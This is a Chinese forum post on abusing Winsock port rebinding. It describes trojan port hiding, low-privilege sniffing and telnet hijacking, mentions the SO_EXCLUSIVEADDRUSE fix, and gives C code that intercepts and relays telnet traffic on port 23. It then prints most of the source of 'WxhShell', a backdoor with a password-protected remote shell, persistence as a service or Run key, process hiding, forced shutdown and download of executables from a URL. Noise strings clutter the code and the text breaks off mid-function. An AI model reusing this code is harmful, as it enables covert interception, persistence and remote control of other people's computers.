社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14648阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;eh/_hPM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hVZo"XUb  
JUU&Z[6J  
  saddr.sin_family = AF_INET; ;]@exp 5  
V{$Sfmey  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); czS7-Hh@  
N 8}lt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d h?dO`  
kW(Kh0x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A'~#9@l<  
kaO{#i2-  
  这意味着什么?意味着可以进行如下的攻击: -fPT}v  
y.ql#eQ,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .C?GW1[c~@  
>)y$mc6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YkI9d&ib+  
DZP*x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1RA }aX  
>{F!ntEj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -lnevrl   
+"Ub/[J{G1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +!xu{2!  
V4\56 0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sDAK\#z  
k}<<bm*f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,-:a?#f>  
P57GqT  
  #include m9Il\PoTq  
  #include -p^'XL*Z  
  #include P'F~\**5  
  #include    g8v[)o(qd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P4[]qbfd,  
  int main() @it/$>R^)  
  { yU!GS-  
  WORD wVersionRequested; {\Ys@FF  
  DWORD ret; @E(P9zQ/zy  
  WSADATA wsaData; V" }*"P-%  
  BOOL val; f| =# q  
  SOCKADDR_IN saddr; b-4dsz 'ai  
  SOCKADDR_IN scaddr; \*J.\f  
  int err; g@(4ujOT  
  SOCKET s; ZR6&AiL(Bj  
  SOCKET sc; %HVD^. V  
  int caddsize; l# BZzJ?~  
  HANDLE mt; & L'6KEahR  
  DWORD tid;   VH<e))5C  
  wVersionRequested = MAKEWORD( 2, 2 ); e3pnk =u  
  err = WSAStartup( wVersionRequested, &wsaData ); ]*GnmG:D*  
  if ( err != 0 ) { GjLW`>  
  printf("error!WSAStartup failed!\n"); lfgtcR{l5  
  return -1; S2bexbp0o  
  } D@*|24y  
  saddr.sin_family = AF_INET; [tz u;/  
   U\?+s2I)v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,0,Oe=d  
?#i|>MRR>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jf8w7T  
  saddr.sin_port = htons(23); kAt RY4p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GqMB^Ad  
  { L^x5&CCwk  
  printf("error!socket failed!\n"); FXxN>\76.  
  return -1; | F8]Xnds  
  } L, #Byao  
  val = TRUE; S<9gyW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hWm0$v 1p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $i -zMa  
  { df yrn%^Ia  
  printf("error!setsockopt failed!\n"); #XfT1  
  return -1; 3jS7 uU  
  } &rcdr+'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s4N,^_j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xlk5Gob*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;8uHRcdQ  
A`g.[7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]y}Zi/zh  
  { :k\} I k  
  ret=GetLastError(); <oQ6ZX  
  printf("error!bind failed!\n"); !x6IV25  
  return -1; Wy!uRzbBv  
  } lZBv\JE  
  listen(s,2); Gg}t-_M  
  while(1) c{ 7<H  
  { !;jgzi?z  
  caddsize = sizeof(scaddr); 5Vm Eyb  
  //接受连接请求 Eh:yR J_8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :Nkz,R?  
  if(sc!=INVALID_SOCKET) &D^e<j}RQ  
  { 8a?IC|~Pz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i"< ZVw  
  if(mt==NULL) Pm~,Ky&Hl  
  { 9V.+U7\w  
  printf("Thread Creat Failed!\n"); C!hXEtK  
  break; d;<.;Od$`  
  } $.;iu2iyo  
  } K(' 9l& A  
  CloseHandle(mt); vWuyft*  
  } y]w )`}Ax  
  closesocket(s); r<v_CFJ  
  WSACleanup(); o;E (Kj  
  return 0; :ET x*c  
  }   8pd&3G+  
  DWORD WINAPI ClientThread(LPVOID lpParam) k~& o  
  { *XHj)DC;  
  SOCKET ss = (SOCKET)lpParam; 50COL66:7  
  SOCKET sc; J#+Op/mmo  
  unsigned char buf[4096]; *Q0lC1GQ  
  SOCKADDR_IN saddr; sFCf\y  
  long num; K[n<+e;G  
  DWORD val; b#e]1Q  
  DWORD ret; 4_WH 6Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1T:)Zv'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _@7(g(pY 3  
  saddr.sin_family = AF_INET; { qjUI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >=bt   
  saddr.sin_port = htons(23); X,&`WPA:S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0,bt^a  
  { \G]K,TG  
  printf("error!socket failed!\n"); bKTqX[=  
  return -1; C"k2<IE  
  } mSy|&(l  
  val = 100; AwtIWH*e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kja4!_d  
  { 6V+V zDo  
  ret = GetLastError(); =P 1RdyP  
  return -1; ?U=mcdqd  
  } PKl]Geg P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  MK<  
  { 6^WiZ^~  
  ret = GetLastError(); iOKr9%9?Z  
  return -1;  y/z9Ce*>  
  } p!C_:Z5i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xP XoJN  
  { H^ESA s6  
  printf("error!socket connect failed!\n"); ',:3>{9  
  closesocket(sc); XC :;Rq'j  
  closesocket(ss); d~w}NK[(  
  return -1; hkkF1 h  
  } \dC.%#  
  while(1) ,"x23=]  
  { Pv^(Q ]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <yis  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4 `j,&=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6\%r6_.d  
  num = recv(ss,buf,4096,0); B>ms`|q=l  
  if(num>0) xV"6d{+  
  send(sc,buf,num,0); ?f(pQy@V  
  else if(num==0) ^- u[q- !  
  break; USlF+RY@3L  
  num = recv(sc,buf,4096,0); Iq^~  
  if(num>0) #8P#^v]H  
  send(ss,buf,num,0); 1'(_>S5CG  
  else if(num==0) .`:oP&9r  
  break; ' m  
  } BERn _5gb  
  closesocket(ss); <\B],M1=s=  
  closesocket(sc); w:~nw;.T  
  return 0 ; 6 Xzk;p  
  } xC= y^- 1  
Y{+zg9L*  
>lUBt5gU  
========================================================== n$XMsl.>  
1EKcD^U,  
下边附上一个代码,,WXhSHELL yg]suU<z]  
53g8T+`\(  
========================================================== 0sq=5 BnO  
)pkhir06t  
#include "stdafx.h" rD:gN%B=  
vo:52tCk}m  
#include <stdio.h> Km|9Too  
#include <string.h> Zm"!E6`69  
#include <windows.h> _ C7abw-  
#include <winsock2.h> n's2/9x  
#include <winsvc.h> (O M?aW  
#include <urlmon.h> .6lY*LI  
}CB=c]p  
#pragma comment (lib, "Ws2_32.lib") o=mq$Z:}  
#pragma comment (lib, "urlmon.lib") W}#QKZ)MB  
 }qgqb  
#define MAX_USER   100 // 最大客户端连接数 X ,V= od>  
#define BUF_SOCK   200 // sock buffer q/W{PBb-2k  
#define KEY_BUFF   255 // 输入 buffer :F!dTD$  
gb!@OZ c  
#define REBOOT     0   // 重启 l8hvq(,{  
#define SHUTDOWN   1   // 关机 .FfwY 'V  
w 7=D6`  
#define DEF_PORT   5000 // 监听端口 ;o~+2Fir  
~frPV8^DP  
#define REG_LEN     16   // 注册表键长度 23B^g  
#define SVC_LEN     80   // NT服务名长度 UUdu;3E=5  
)A>U<n$h  
// 从dll定义API bc0)'a\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .N-'; %8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O+{pF.P#V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `Yo -5h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ims=-1,  
h%C Eb<  
// wxhshell配置信息 886 ('  
struct WSCFG { xVh\GU855  
  int ws_port;         // 监听端口 n]6}yJJo  
  char ws_passstr[REG_LEN]; // 口令 @4 Os?_gJ\  
  int ws_autoins;       // 安装标记, 1=yes 0=no -N-4l  
  char ws_regname[REG_LEN]; // 注册表键名 ul z\x2[Pf  
  char ws_svcname[REG_LEN]; // 服务名 clR?< LO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V1CSXY\2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  "df13U"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (> +k3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5tgILxSK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (DEL xE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pi"tQyw39$  
\@ WsF$  
}; NbQMWU~7  
rH2tC=%  
// default Wxhshell configuration C>k;MvqO  
struct WSCFG wscfg={DEF_PORT, tLoD"/z  
    "xuhuanlingzhe", :#Ex3H7  
    1, uV/HNzC  
    "Wxhshell", 2RSHB o  
    "Wxhshell", 1"4nmw}  
            "WxhShell Service", P"~qio-  
    "Wrsky Windows CmdShell Service", _($-dJ {  
    "Please Input Your Password: ", yuy+}]uB@  
  1, \KnD"0KW   
  "http://www.wrsky.com/wxhshell.exe", %Zv(gI`A  
  "Wxhshell.exe" I 1VEm?CQ  
    }; ?-.Ep0/  
TYJnQ2m  
// 消息定义模块 K,L>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &[W3e3Asra  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mKf>6/s{c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jV|$? Rcl%  
char *msg_ws_ext="\n\rExit."; LBbo.KxAe3  
char *msg_ws_end="\n\rQuit."; $@:>7Y"  
char *msg_ws_boot="\n\rReboot..."; 28UL  
char *msg_ws_poff="\n\rShutdown..."; xP5mL3j  
char *msg_ws_down="\n\rSave to "; ;+TF3av0zq  
g.`t!6Hc  
char *msg_ws_err="\n\rErr!"; wCC~tuTpr  
char *msg_ws_ok="\n\rOK!"; :)+@qxTy  
} {gWTp  
char ExeFile[MAX_PATH]; oZ*=7u  
int nUser = 0; ffoo^1}1  
HANDLE handles[MAX_USER]; 4MF}FS2)  
int OsIsNt; b/n8UxA  
n[MIa]dK  
SERVICE_STATUS       serviceStatus; o,''f_tRQ|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $jm>tW&;  
u{{xnyl?  
// 函数声明 #iqhm,u7D  
int Install(void); yOn2}Z  
int Uninstall(void); 8NF;k5   
int DownloadFile(char *sURL, SOCKET wsh); Edn$0D68u_  
int Boot(int flag); hOrk^iYN=  
void HideProc(void); + k(3+b$S-  
int GetOsVer(void); ) R a/  
int Wxhshell(SOCKET wsl); ~a8G 5M  
void TalkWithClient(void *cs); 5S-o 2a  
int CmdShell(SOCKET sock); Pguyf2/w  
int StartFromService(void); ixJ20A7  
int StartWxhshell(LPSTR lpCmdLine); +v[$lh+  
/Y\E68_Fh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eI=Y~jy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c[d'1=Qiy  
sWZtbW;)  
// 数据结构和表定义 nGJIjo_I  
SERVICE_TABLE_ENTRY DispatchTable[] = :86luLFm  
{ ZTPOD.:#  
{wscfg.ws_svcname, NTServiceMain}, M-qxD"VtV=  
{NULL, NULL} 3EW f|6RI  
}; xO9]yULgu  
Z\gg<Q  
// 自我安装 \,cKt_{ u  
int Install(void) 4pTu P /  
{ a a Y Q<  
  char svExeFile[MAX_PATH]; 8yo6v3JqC  
  HKEY key; +q_lYGTiO  
  strcpy(svExeFile,ExeFile); .jGsO0  
|<Dx  
// 如果是win9x系统,修改注册表设为自启动 <}Wy;!L  
if(!OsIsNt) { !wR{Y[Yu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .L(j@I t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i>if93mpj  
  RegCloseKey(key); t1{%FJ0F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [|;Zxb:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ':R3._tw\  
  RegCloseKey(key); +8vzkfr3It  
  return 0; 8$jT#\_  
    } 4ysdna\+  
  } Z"%O&O  
} ; R|#ae@  
else { ~ :b:_ 5"  
t>h i$NX{p  
// 如果是NT以上系统,安装为系统服务 [?f.0q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Iv|WeSL.  
if (schSCManager!=0) UG?C=Tf  
{ 5@Lxbe( q  
  SC_HANDLE schService = CreateService 0) Um W{  
  ( =wR]X*Pan  
  schSCManager, GqD!W8+  
  wscfg.ws_svcname, =UKR<@QrK  
  wscfg.ws_svcdisp, .gkPG'm[  
  SERVICE_ALL_ACCESS, Md?bAMnG+}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _kY[8e5  
  SERVICE_AUTO_START, _Il9s#NA%  
  SERVICE_ERROR_NORMAL, *I1W+W`G  
  svExeFile, 3w:Z4]J  
  NULL, jUR #  
  NULL, Z2j*%/  
  NULL, A"3&EuvU  
  NULL, \NQ)Po@z  
  NULL ?kFCYZK|"  
  ); ,JBw$ C  
  if (schService!=0) ?nSp?m;  
  { WT!\X["FI$  
  CloseServiceHandle(schService); V?J,ab$X#  
  CloseServiceHandle(schSCManager); AW;) _|xM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0V,MDX}#_  
  strcat(svExeFile,wscfg.ws_svcname); dUtIAh-j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (cA|N0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @] "9EW 0  
  RegCloseKey(key); lgqL)^8A  
  return 0; j}.J$RtW1f  
    } `8.32@rUB.  
  } 4Hpu EV8Q  
  CloseServiceHandle(schSCManager); utl=O  
} _,0!ZP-  
} = hX-jP  
U+r#Y E.  
return 1; x)wt.T?eL  
} ~)8i5p;P/k  
|Ge/|;.v`  
// 自我卸载 ,p`b Wm  
int Uninstall(void) R}6la.mQ  
{ Tocdh.H|  
  HKEY key; n_&)VF#n(  
%s :  
if(!OsIsNt) { H_=[~mJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NEou2y+}  
  RegDeleteValue(key,wscfg.ws_regname); qVe6RpS  
  RegCloseKey(key); vMdhNOU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lz{T8yvZ  
  RegDeleteValue(key,wscfg.ws_regname); 2&K|~~  
  RegCloseKey(key); P:-/3  
  return 0; 7Z~szD  
  } lnSE+YJ>  
} '*;eFnmvs:  
} e27CbA{_w  
else { -&D6w9w  
f#Cdx"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <\>ak7m  
if (schSCManager!=0) RYJc>  
{ SVWSO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wvaIgy%z  
  if (schService!=0) !3 Z|!JY  
  { L\b_,'I  
  if(DeleteService(schService)!=0) { 8[`<u[Iv  
  CloseServiceHandle(schService); `[:1!I.}-  
  CloseServiceHandle(schSCManager); YIUmCx0a  
  return 0; &Wz:-G7<n  
  } +pViHOJu&V  
  CloseServiceHandle(schService); (ai-n,y  
  } |A/_Qe|s2  
  CloseServiceHandle(schSCManager); PjZvLK@a9)  
} J*&=J6  
} /~huTKA}  
LF.~rmPa  
return 1; HtYR 0J  
} :p)9Heu  
cE>/iZc  
// 从指定url下载文件 }e =GvWGa  
int DownloadFile(char *sURL, SOCKET wsh) Pc4c Sw#5  
{ 1gej$G@  
  HRESULT hr; Y'*h_K  
char seps[]= "/"; (wF$"c3'{  
char *token; U9sub6w6  
char *file; '?GZ"C2  
char myURL[MAX_PATH]; 7#. PMyK9  
char myFILE[MAX_PATH]; kGiw?~t=%  
 !Ocg  
strcpy(myURL,sURL); tU/NwA"  
  token=strtok(myURL,seps); a(T4WDl^  
  while(token!=NULL) <G?85*Nv_  
  { 6-}e-H  
    file=token; .V:<w~=b  
  token=strtok(NULL,seps); < ^!eaBR4  
  } !rGI),  
?'m5)Z{  
GetCurrentDirectory(MAX_PATH,myFILE); x)Kh _G  
strcat(myFILE, "\\"); Tm.w+@  
strcat(myFILE, file); slO9H6<  
  send(wsh,myFILE,strlen(myFILE),0); '^3pF2lIw  
send(wsh,"...",3,0); q ? TI,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jd6Q9~z#  
  if(hr==S_OK) :?6$}GcW  
return 0; \J&#C(pn  
else  grA L4  
return 1; r74w[6(  
s(Bi& C\  
} \1 D,Kx;Cb  
O[B_7  
// 系统电源模块 yZaDNc9'  
int Boot(int flag) 0%j; yzQ<  
{ bO3KaOC8N  
  HANDLE hToken; zb,`K*Z{  
  TOKEN_PRIVILEGES tkp; q[A3$y(  
Jn&>Z? @  
  if(OsIsNt) { e ;r-}U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D|3QLG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CGl+!t{  
    tkp.PrivilegeCount = 1; irj}:f;!eF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |ema-pRC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vzm7xl [  
if(flag==REBOOT) { ZaindX{.1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G)|HFcE  
  return 0; jF85bb$  
} 5z]KkPQ  
else { |noTIAI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oD1=}  
  return 0; HOb\Hn|6jq  
} Z i&X ,K~  
  } 3PeJPw  
  else { ED&KJnquWJ  
if(flag==REBOOT) { W\Y 4%y}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q`zR6  
  return 0; wb"t:(>&  
} {z ~ '  
else { Gfch|Q^INy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~36XJ  
  return 0; uoc-qmm  
} e}w!]  
} fltc dA  
,1h(k<-  
return 1; c{ (%+  
} 8#-}3~l[  
:b)@h|4  
// win9x进程隐藏模块 1nG"\I5N}  
void HideProc(void) rVmO/Y#Hx$  
{ s7LX  
P ^+>QJ1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dU n#'<g5  
  if ( hKernel != NULL ) ( h,F{7  
  { @},k\Is  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ueo3i1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "+Rm4_  
    FreeLibrary(hKernel); 9j9?;3;  
  } C,.{y`s'  
36UW oo  
return; Yb/^Qk59  
} ^>uGbhBp  
^T>.04";x  
// 获取操作系统版本 ?id^v 7d  
int GetOsVer(void) (b!DJ;(O9  
{ ePdzQsnVe  
  OSVERSIONINFO winfo; k Er7,c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4}j}8y2)H  
  GetVersionEx(&winfo); 5@5="lNjS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NYRNop( N#  
  return 1; UkQocZdZ  
  else FiL JF!  
  return 0; 1N*~\rV*?  
} 5J3kQ;5Q?  
'-{jn+,  
// 客户端句柄模块 2V 'Tt3  
int Wxhshell(SOCKET wsl) =z.AQe+   
{ 2Ta F7Jn  
  SOCKET wsh; =wc[ r?7  
  struct sockaddr_in client; Hq8.O/Y"=  
  DWORD myID; G9Ezm*I;:  
ST.W{:X   
  while(nUser<MAX_USER) GV/FK{v5  
{ RzRLrfV  
  int nSize=sizeof(client); ' 'N@ <|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j+seJg<_  
  if(wsh==INVALID_SOCKET) return 1; )qe o`4+y  
;rbn/6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @,.H)\a4  
if(handles[nUser]==0) dno*Usx5d0  
  closesocket(wsh); ,B><la87  
else 6 h):o  
  nUser++; iqYc&}k,  
  } 54&2SU$kx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6!N&,I  
hG]20n2  
  return 0; E}+A)7mA  
} /@e\I0P^  
I&0yUhn  
// 关闭 socket LA5rr}<K  
void CloseIt(SOCKET wsh) CJ b ~~  
{ cj)~7 WF  
closesocket(wsh); t~`Ef  
nUser--; ( d.i np(  
ExitThread(0); >6j`ZWab>  
} zQJbZ=5Bu"  
b%F*Nr  
// 客户端请求句柄 7 5u*ZMK  
void TalkWithClient(void *cs) !bg3  
{ glpdYg *  
#.RI9B  
  SOCKET wsh=(SOCKET)cs; AF}HS8eYy  
  char pwd[SVC_LEN]; ~x+w@4)a>  
  char cmd[KEY_BUFF]; HN! l-z  
char chr[1]; ~ln,Cm} 4  
int i,j; ebchHnOd  
]]4E)j8  
  while (nUser < MAX_USER) { ^C{a'  
~qF9*{~!  
if(wscfg.ws_passstr) { {iv=KF_S_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {3>^nMv@e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LWE !+(n  
  //ZeroMemory(pwd,KEY_BUFF); 9S^-qQH3}  
      i=0; OZ&aTm :  
  while(i<SVC_LEN) { KN=Orx7Gy  
}e$);A|  
  // 设置超时 F=H=[pSe  
  fd_set FdRead; '*:YC  
  struct timeval TimeOut; .O(UK4Mb  
  FD_ZERO(&FdRead); K!X8KPo  
  FD_SET(wsh,&FdRead); rv%Xvs B  
  TimeOut.tv_sec=8; DzEixE-  
  TimeOut.tv_usec=0; }m?L/Y'}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |bh:x{h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |V& k1{V  
Z3d&I]Tf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f]4gDmn^  
  pwd=chr[0];  E=E  
  if(chr[0]==0xd || chr[0]==0xa) { /T@lHxX  
  pwd=0; d=pq+  
  break; sC j3h  
  } -?[:Zn~$a  
  i++; (\T?p9  
    } Z.<B>MD8^  
MX34qJ9k  
  // 如果是非法用户,关闭 socket H>B:jJf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sXUM,h8$!+  
} f &H` h  
G7yxCU(I\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L2N/DB'{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TBpW/wz/  
S}+n\pyQ  
while(1) { -4;u|0_  
~(c<ioIf  
  ZeroMemory(cmd,KEY_BUFF); "o1/gV  
& 3gni4@@  
      // 自动支持客户端 telnet标准   vgV0a{u"  
  j=0; XjC+kH  
  while(j<KEY_BUFF) { $]9d((u4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I'!KWpYJT  
  cmd[j]=chr[0]; _%x|,vo`(  
  if(chr[0]==0xa || chr[0]==0xd) { {5*5tCIt  
  cmd[j]=0; n\QG-?%Pi  
  break; 5ZPl`[He  
  } )wC>Hq[mhW  
  j++; 3,GSBiK3}  
    } 3k=q>~& @  
Cpr}*A   
  // 下载文件 p|Ln;aYc  
  if(strstr(cmd,"http://")) { &EMm<(.]a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sU>*S$X8  
  if(DownloadFile(cmd,wsh)) </eh^<_~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z?~7#F~Z`  
  else C][`Dk\D{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eI@O9<.&  
  } c;Li~FLR  
  else { 5d)G30  
(Az^st/_  
    switch(cmd[0]) { X(8 ]9  
  =I?p(MqW  
  // 帮助 tqHXzmsjW  
  case '?': { niFjsTA.Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0Y\u,\GrxW  
    break; .w0?  
  } DQ,QyV  
  // 安装 Y$N|p{Z  
  case 'i': { 9:P)@UF  
    if(Install()) 6ik6JL$AI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  9TeDLp  
    else 7Kn=[2J5k'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6A%Y/oU+2  
    break; '?QZ7A  
    } i'a M#4V  
  // 卸载 @sVBG']p  
  case 'r': { 1$c*/Tc:E  
    if(Uninstall()) 4X^0:.bT&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wc;5tb#  
    else L-fAT'!'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '+`CwB2  
    break; cewQQ&  
    } 3T_-_5[c  
  // 显示 wxhshell 所在路径 <-$4?}  
  case 'p': { > vgqf>)kk  
    char svExeFile[MAX_PATH]; HG Pbx$!  
    strcpy(svExeFile,"\n\r"); f1JvP\I0Q  
      strcat(svExeFile,ExeFile); /({5x[  
        send(wsh,svExeFile,strlen(svExeFile),0); VRD2e ,K  
    break; Blu^\:?#z-  
    } Rq;R{a  
  // 重启  p.zU9rID  
  case 'b': { &fW;;>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2-8<uUy  
    if(Boot(REBOOT)) #ujcT%1G  
